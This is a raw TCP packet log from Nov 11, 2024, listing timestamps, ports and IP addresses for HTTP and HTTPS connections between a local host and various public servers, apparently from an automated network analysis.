                                                                                                                                                                                                          Nov 11, 2024 18:13:35.478754044 CET44363440188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.478769064 CET63440443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.478792906 CET63440443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.478797913 CET44363440188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.478867054 CET63440443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.478871107 CET44363440188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.478921890 CET63440443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.480274916 CET63440443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.480309010 CET44363440188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.480410099 CET63440443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.530838013 CET8063298199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.530937910 CET6329880192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.042417049 CET6347180192.168.2.6103.224.212.210
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.047246933 CET8063471103.224.212.210192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.047322035 CET6347180192.168.2.6103.224.212.210
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.047619104 CET6347180192.168.2.6103.224.212.210
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.052340031 CET8063471103.224.212.210192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.125667095 CET6347280192.168.2.6103.224.182.252
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.130496025 CET8063472103.224.182.252192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.130561113 CET6347280192.168.2.6103.224.182.252
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.130695105 CET6347280192.168.2.6103.224.182.252
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.135548115 CET8063472103.224.182.252192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.170813084 CET6203780192.168.2.6154.85.183.50
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.175540924 CET8062037154.85.183.50192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.456219912 CET8062037154.85.183.50192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.456275940 CET6203780192.168.2.6154.85.183.50
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.603832006 CET8063471103.224.212.210192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.603893995 CET6347180192.168.2.6103.224.212.210
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.667170048 CET8063471103.224.212.210192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.667239904 CET6347180192.168.2.6103.224.212.210
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.687558889 CET8063472103.224.182.252192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.688746929 CET6347280192.168.2.6103.224.182.252
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.751593113 CET8063472103.224.182.252192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.751658916 CET6347280192.168.2.6103.224.182.252
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.013526917 CET6347180192.168.2.6103.224.212.210
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.013976097 CET6205080192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.014394999 CET6347880192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.018302917 CET8063471103.224.212.210192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.019229889 CET8062050199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.019246101 CET8063478199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.019347906 CET6347880192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.019841909 CET6347880192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.025387049 CET8063478199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.077326059 CET6203780192.168.2.6154.85.183.50
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.078761101 CET6347280192.168.2.6103.224.182.252
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.083172083 CET8062037154.85.183.50192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.084089994 CET8063472103.224.182.252192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.295396090 CET6348080192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.296716928 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.297099113 CET6348280192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.297841072 CET6348380192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.299496889 CET6348480192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.300383091 CET80634803.94.10.34192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.300601959 CET6348080192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.301165104 CET6348080192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.301487923 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.301551104 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.301786900 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.302561998 CET806348244.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.302649021 CET6348280192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.302732944 CET806348375.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.302779913 CET6348380192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.302927971 CET6348380192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.303481102 CET6348280192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.304342985 CET8063484188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.304413080 CET6348480192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.306035042 CET80634803.94.10.34192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.306564093 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.307672024 CET806348375.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.308362961 CET806348244.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.362814903 CET8062037154.85.183.50192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.366861105 CET6203780192.168.2.6154.85.183.50
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.435569048 CET6348480192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.440686941 CET8063484188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.445703983 CET8063478199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.445887089 CET8063478199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.445921898 CET6347880192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.446008921 CET6347880192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.481319904 CET6348580192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.486274958 CET806348518.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.487271070 CET6348580192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.488403082 CET6348580192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.493225098 CET806348518.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.727586031 CET80634803.94.10.34192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.729882956 CET806348375.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.730037928 CET6348080192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.730304956 CET806348244.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.730376005 CET6348280192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.730376959 CET6348380192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.735954046 CET80634803.94.10.34192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.736042023 CET6348080192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.737113953 CET806348375.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.737174988 CET6348380192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.738120079 CET806348244.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.738675117 CET6348280192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.778590918 CET6348380192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.783504009 CET806348375.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.891904116 CET63490443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.891944885 CET4436349075.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.892025948 CET63490443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.917001009 CET806348518.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.917099953 CET6348580192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.923973083 CET806348518.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.924034119 CET6348580192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.055206060 CET8063484188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.055288076 CET6348480192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.226176977 CET6205280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.226656914 CET6349280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.230984926 CET806205264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.231583118 CET806349264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.232340097 CET6349280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.232637882 CET6349280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.237458944 CET806349264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.289459944 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.289506912 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.289609909 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.343826056 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.343837023 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.344007969 CET63490443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.344041109 CET4436349075.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.731242895 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.731271982 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.731282949 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.731292963 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.731340885 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.731381893 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.731399059 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.731420994 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.731436014 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.731445074 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.731446981 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.731456995 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.731481075 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.731513977 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.736226082 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.736279011 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.736291885 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.736303091 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.736362934 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.772458076 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.772566080 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.778858900 CET4436349075.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.778948069 CET63490443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.818166018 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.818192959 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.818208933 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.818240881 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.818239927 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.818253040 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.818294048 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.818588972 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.818603992 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.818614960 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.818628073 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.818636894 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.818638086 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.818654060 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.818682909 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.819422960 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.819468021 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.819469929 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.819478989 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.819509029 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.819513083 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.819524050 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.819536924 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.819549084 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.819570065 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.820292950 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.820334911 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.820365906 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.820377111 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.820403099 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.820405960 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.820414066 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.820441008 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.820461988 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.821170092 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.821192980 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.821203947 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.821233988 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.821239948 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.821264029 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.821296930 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.877535105 CET806349264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.877563953 CET806349264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.877573967 CET806349264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.877644062 CET6349280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.877646923 CET806349264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.877657890 CET806349264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.877670050 CET806349264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.877680063 CET806349264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.877687931 CET6349280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.877690077 CET806349264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.877702951 CET806349264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.877716064 CET806349264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.877726078 CET6349280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.877762079 CET6349280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.882539034 CET806349264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.882563114 CET806349264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.882574081 CET806349264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.882630110 CET6349280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.882630110 CET6349280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.900187016 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.900245905 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.900527000 CET8063481199.191.50.83192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.900572062 CET6348180192.168.2.6199.191.50.83
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.965913057 CET806349264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.966058016 CET6349280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.966133118 CET806349264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.966141939 CET806349264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.966151953 CET806349264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.966164112 CET806349264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.966175079 CET806349264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.966175079 CET6349280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.966207027 CET6349280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.966233969 CET6349280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.966623068 CET806349264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.966661930 CET806349264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.966677904 CET806349264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.966691971 CET6349280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.966703892 CET6349280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.966720104 CET806349264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.966722012 CET6349280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.966732979 CET806349264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.966773033 CET6349280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.116643906 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.116677999 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.117018938 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.117225885 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.118912935 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.119417906 CET63490443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.119446039 CET4436349075.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.120032072 CET4436349075.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.120096922 CET63490443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.129086971 CET63490443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.159342051 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.175326109 CET4436349075.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.454408884 CET4436349075.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.454543114 CET63490443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.454722881 CET4436349075.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.454782009 CET63490443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.454826117 CET4436349075.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.454879045 CET63490443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.455216885 CET4436349075.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.455279112 CET63490443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.536526918 CET4436349075.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.536621094 CET63490443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.536850929 CET4436349075.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.536915064 CET63490443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.538465023 CET4436349075.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.538474083 CET4436349075.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.538503885 CET4436349075.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.538538933 CET63490443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.538552999 CET4436349075.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.538580894 CET63490443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.538599968 CET63490443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.539211988 CET4436349075.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.539269924 CET63490443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.617819071 CET4436349075.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.617902994 CET63490443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.617924929 CET4436349075.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.617995024 CET63490443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.618720055 CET4436349075.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.618765116 CET4436349075.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.618789911 CET63490443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.618799925 CET4436349075.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.618819952 CET63490443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.618840933 CET63490443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.618844986 CET4436349075.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.618870974 CET4436349075.2.71.199192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.618896008 CET63490443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.618922949 CET63490443192.168.2.675.2.71.199
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.951014996 CET8058877103.150.10.48192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.951085091 CET5887780192.168.2.6103.150.10.48
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.398247004 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.398288012 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.398313999 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.398327112 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.398351908 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.398369074 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.398401022 CET63493443192.168.2.6188.114.97.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.398406029 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.398427963 CET44363493188.114.97.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.398483038 CET63493443192.168.2.6188.114.97.3
